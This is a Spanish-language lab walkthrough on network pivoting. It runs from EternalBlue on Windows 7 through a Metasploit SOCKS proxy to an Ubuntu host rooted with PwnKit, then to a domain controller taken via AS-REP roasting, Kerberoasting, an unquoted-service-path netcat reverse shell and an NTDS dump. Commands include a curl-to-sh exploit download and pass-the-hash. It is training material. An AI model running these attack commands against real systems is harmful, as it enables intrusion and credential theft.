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Laboratorio Pivoting 

 

 

1. CONFIGURACION INICIAL. 

Configuramos 3 redes virtuales desde Virtualbox o VMware Workstation: 

Accedemos al LAN Manager: 

 

Configuramos las interfaces: 
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2. ASIGNACIÓN DE INTERFACES 

Kali Linux: Solamente tendremos 1 interfaz en modo “Adaptador Puente” 

y seleccionamos la interfaz Ethernet o Wifi dependiendo como estemos 

conectados desde nuestro equipo, esto será para que tengamos internet 

en nuestro Kali sin que sean redes internas restringidas. 
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Windows 7: 

Esta máquina debe tener 2 interfaces de red: 

• La primera debe estar en “Adaptador puente” para que tenga 

comunicación con nuestra Kali. 

• La segunda debe estar en “Adaptador Solo-Anfitrión” y 

seleccionaremos el “Ethernet Adapter #2” 

   

 

Ubuntu: 

Esta máquina debe tener 2 interfaces de red: 

• La primera debe estar en “Adaptador Solo-Anfitrión” y 

seleccionaremos el “Ethernet Adapter #2” para que tenga 

comunicación con la Windows 7 
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• La segunda debe estar en “Adaptador Solo-Anfitrión” y 

seleccionaremos el “Ethernet Adapter #3” 

   

 

Active Directory: 

Esta máquina debe tener 1 interfaz de red: 

• Debe estar en “Adaptador Solo-Anfitrión” y seleccionaremos el 

“Ethernet Adapter #3” para que tenga comunicación con la 

Ubuntu 
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3. ACCESO A MÁQUINA WINDOWS 7 

Es una máquina Windows 7 con una vulnerabilidad muy fácil de explotar, 

un simple Eternalblue. Podemos identificarlo haciendo un escaneo con 

nmap, el escáner de Autoblue o el módulo de metasploit. 

En este caso, no nos complicamos y lo explotamos con metasploit: 

Iniciamos metasploit con “msfconsole” y buscamos el exploit ms17_010, 

configuramos el RHOST y el TARGET. 

 

Obtenemos una Shell de meterpreter como NT AUTHORITY/SYSTEM, la 

enviamos a “background” oprimiendo la combinación de teclas “Control 

+ z”. 

 

 

Dentro de la sesión de la máquina Windows 7 ejecutamos “ipconfig” y 

nos damos cuenta de que tiene 2 interfaces de red, así que en el siguiente 

paso agregaremos una ruta en metasploit para que podamos tener 

comunicación con esa red, desde nuestra máquina Kali.  
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4. CONFIGURACIÓN PROXY SOCKS 

Agregamos la ruta usando el módulo “autoroute” de metasploit y 

asociamos la sesión de meterpreter que tenemos de la máquina Windows 

7. Otra opción para agregar la ruta, es usar el comando “route add” o si 

no queremos usar metasploit podemos usar las herramientas Chisel y 

Socat, en este caso seguiremos con metasploit. 

Una vez agreguemos la ruta, ejecutamos el comando “route” y se deben 

visualizar las siguientes rutas asociadas a la “sesión 1” 

 

Configuramos el servidor “Socks Proxy”  

IMPORTANTE: En el archivo de configuración de proxychains 

/etc/proxychains4.conf, debe estar la misma versión de socks que 

usaremos para levantar el servidor desde metasploit: 

En este caso la versión es Socks4, pero en metasploit está como 4a, 

asignamos el puerto del servidor socks y lo ejecutamos. 

 

  

 

 

5. DESCUBRIR LA RED #2. 

Usamos el módulo “ping_sweep” de metasploit con el rango de IPs de la 

red #2 192.168.141.0/24 y la sesión 1. 
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En este caso la maquina Ubuntu tiene la IP 192.168.141.7 

 

6. ACCESO A MÁQUINA UBUNTU 

Sabiendo la IP de la máquina, haremos un escaneo de puertos usando el 

módulo de metasploit “portscan/tcp”, asignamos el rango de puertos 

que queremos analizar y lo ejecutamos. 

 

Identificamos que el puerto 21 ftp está abierto. 

Nos conectamos usando el usuario “anonymous” ya que se tiene 

habilitado el acceso anónimo. 

Debemos tener en cuenta que desde nuestro Kali no tenemos 

comunicación con la Ubuntu ya que está en otro segmento de red, por 

lo cual, debemos usar el servidor Socks_proxy que levantamos antes. Para 

esto nos conectaremos por FTP a la máquina Ubuntu usando proxychains. 
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Encontramos una lista de archivos, entre ellos un archivo llamado “history” 

que muestra un move de un archivo id_rsa al directorio raíz del servicio 

apache /var/www/html, y dentro, un directorio “/recuperación” y un 

archivo “config.txt” 

 

También hemos identificado que el puerto 80 de la máquina está abierto.  

Abriremos el navegador Firefox usando proxychains y la IP de la máquina 

Ubuntu. 

 

Podemos intentar hacer fuzzing con dirbuster, wfuzz, gobuster o alguna 

otra herramienta, pero la ruta que nos interesa no la encontraremos si 

usamos diccionarios como Rockyou, por lo cual, podemos usar 

diccionarios como Kaonashi, o diccionarios en castellano. 
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Recordemos que en el fichero history identificamos una ruta llamada 

/recuperación/config.txt 

Por lo cual, accederemos directamente a esa ruta. 

 

Identificamos un usuario y una contraseña 

 

El puerto 22 SSH de la máquina Ubuntu está habilitado, así que nos 

conectamos desde metasploit con el módulo “ssh_login”, también 

podemos conectarnos por proxychains desde nuestra Kali, pero lo 

haremos desde metasploit para tener otra sesión desde la que podamos 

agregar una ruta nueva para la red #3. 

Buscamos “ssh_login” configuramos los datos de autenticación, RHOST, 

USER y PASSWORD. 

 

Entramos a la shell con “sessions -i 2” 

 

Somos el usuario “ifp”, así que iniciamos la escalada de privilegios 

 

7. ESCALADA DE PRIVILEGIOS UBUNTU 

Buscamos binarios con permisos SUID en la máquina: 

find / -type f -user root -perm -4000 2>/dev/null 
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En este caso nos aprovecharemos del binario /usr/bin/pkexec ya que 

existe una vulnerabilidad llamada Pwnkit que permite elevar privilegios a 

root. 

Desde nuestra máquina Kali debemos descargar el exploit usando el 

siguiente comando: 

sh -c "$(curl -fsSL 

https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh)" 

Recordemos que la máquina Ubuntu no tienen internet, así que tenemos 

que descargarlo desde nuestra Kali y transferir el script a la Ubuntu 

 

 

 

Con proxychains lo subimos a la sesión de ssh con scp (ruta del archivo 

en la kali) -> (ruta en la sesión ssh) 

proxychains scp /home/kali/Pwnkit ifp@(IP Ubuntu):/tmp 

https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh
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Entramos en la sesión de ssh en meterpreter vamos al directorio /tmp y 

verificamos que esta subido el script PwnKit. Ejecutamos el exploit y ya 

somos root. 

 

 

8. DESCUBRIR LA RED #3 

Verificamos las IPs de la máquina Ubuntu, identificamos la red #3. 

 

Ya conocemos la siguiente red “192.168.223.0/24” 

 

Añadimos la ruta de la red #3: 
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route add 192.168.223.0/24 4 

Verificamos las rutas con las sesiones correspondientes con el comando 

route 

 

Usamos el módulo “ping_sweep” para descubrir la IP correspondiente a 

la máquina AD. 

 

Identificamos que la IP es “192.168.223.11” 

Ejecutamos un “portscan/tcp” 

 

Descubrimos el puerto 88 Kerberos y el 53 DNS, posiblemente un DC: 

Lo primero será descubrir el dominio. 

 

9. ACCESO A MÁQUINA AD 

Identificamos el dominio 

proxychains crackmapexec smb 192.168.223.11 

 

Agregamos el nombre de dominio al fichero hosts (DNS). 

nano /etc/hosts 
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Puerto 81: 

 

 

Dentro de /ifp nos encontramos una lista de usuarios la cual guardaremos 

para probarlos con kerbrute. 

 

 

Probaremos si estos usuarios son válidos en el dominio, usamos la 

herramienta “kerbrute”. 

pip3 install kerbrute 
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Guardamos la lista de usuarios en un fichero usuarios.txt 

proxychains kerbrute -domain examen.local -users usuarios.txt 

 

Vemos que el usuario “julian” es un usuario valido del dominio, pero 

ningún usuario tiene la Flag “dont_req_preauth”, es decir, un usuario al 

que le podamos solicitar un TGT y así crackear su contraseña. 

Seguimos buscando. Usaremos dirbuster para hacer fuzzing y encontrar 

rutas, subdominios y archivos de la web. 

proxychains dirbuster 
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Encontramos un directorio “/profile”, lo analizaremos de nuevo: 

 

Encontramos un fichero users.txt 

 

 

Haremos de nuevo un análisis con kerbrute  

proxychains kerbrute -domain examen.local -users usuarios.txt 
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Identificamos que el usuario “ifp_asrep” tiene la Flag “dont_req_preauth” 

 

10. KERBEROS TGT y TGS 

Solicitaremos un TGT del usuario ifp_asrep: 

proxychains python3 /usr/share/doc/python3-

impacket/examples/GetNPUsers.py examen.local/ifp_asrep -dc-ip 

examen.local -no-pass 

Capturamos el ticket y lo guardamos en un fichero de texto tgt.txt 

Crakeamos el “tgt” con john o con hashcat, usando como diccionario 

rockyou.txt 

hashcat -m 18200 tgt.txt /usr/share/wordlists/rockyou.txt 

john --wordlist=/usr/share/wordlists/rockyou.txt tgt.txt 

 

Verificamos las credenciales con crackmapexec por SMB: 
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Vemos que la contraseña es válida pero no tiene privilegios para 

conectarnos por psexec. 

Probamos a conectarnos con crackmapexec por winrm: 

 

Vemos que no tenemos privilegios. 

Intentamos generar un GTS usando las credenciales de usuario que ya 

hemos obtenido: 

En el dominio se tiene un SPN creado con un usuario de servicio 

“SVC_SQL”. Por lo que podemos en este caso solicitar un TGS de este 

usuario. 

 

proxychains python3 /usr/share/doc/python3-

impacket/examples/GetUserSPNs.py examen.local/ifp_asrep:Password1 -

request 

 

De nuevo crackeamos el hash con john: 

john --wordlist=/usr/share/wordlists/rockyou.txt tgs.txt 
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Probamos a conectarnos de nuevo por crackmapexec por winrm y smb 

con el nuevo usuario y contraseña. 

proxychains crackmapexec winrm -dc-ip 192.168.223.11 -u SVC_SQL -p 

Password! examen.local 

 

Nos pone “Pwn3d”, por lo que ya podemos conectarnos por winrm. 

 

 

11. ELEVACIÓN DE PRIVILEGIOS AD Y VOLCADO DE NTDS 

Enumeramos la máquina con WinPEAS y con ADPeas, listamos los 

servicios.  

 

Identificamos que existe un servicio vulnerable a Unquoted Service Path, 

ya que el bin_path tiene espacios sin comillas  

cd "C:\Vuln Service\vuln" 

Dentro de esta carpeta hay un binario de netcat, nc.exe. Por lo cual 

intentaremos modificar el bin path, bajar el servicio y volverlo a levantar 

para que nos ejecute una reverse_shell hacia la máquina Ubuntu. 
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Recordemos que este servicio está ejecutándose con privilegios del 

sistema. 

sc.exe config SERVICIO_VULNERABLE binPath= 'C:\Vuln 

Service\vuln\nc.exe -e cmd.exe (IP) (Puerto a poner en escucha)' 

 

En este punto dentro del directorio “servicio vulnerable” hemos creado 

una revershell apuntando a la maquina Ubuntu para escuchar a través 

del puerto “54”. 

Es importante desde otra terminal conectarnos desde fuera de metasploit 

y a través de ssh a la maquina Ubuntu que es desde donde nos 

pondremos a la escucha para recibir la revershell. 

Accedemos por ssh a la máquina Ubuntu y nos ponemos a la escucha: 

❖ root@osboxes:/tmp# nc -nlvp 54 

 

Iniciamos el servicio desde la sesión del AD: 

sc.exe start SERVICIO_VULNERABLE 

 

En este punto estamos a la escucha en la sesión de ssh, hemos ejecutado 

el servicio al que hemos añadido anteriormente la reverse Shell lo que 

hace que en la sesión de ssh a la escucha se nos abra,  

 

En la sesión de la reverse Shell añadimos el usuario “SVC_SQL” al grupo 

“Administradores” 

net localgroup Administradores SVC_SQL /add 
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Usando crackmapexec hacemos un volcado del ntds del AD con el 

usuario SVC_SQL el cual ahora pertenece al grupo Administradores. 

proxychains crackmapexec smb (IP)-d examen.local -u SVC_SQL -p 

Password! --ntds 

 

 

12. CONEXION COMO ADMINISTRADOR 

Nos conectamos como administrador usando el hash NTLM que hemos 

identificado en el volcado del NTDS, podemos hacerlo con psexec, 

wmiexec o con evil-winrm 

proxychains evil-winrm -i 192.168.223.11 -u Administrador -H 

cfae279a292213ad99683………. 
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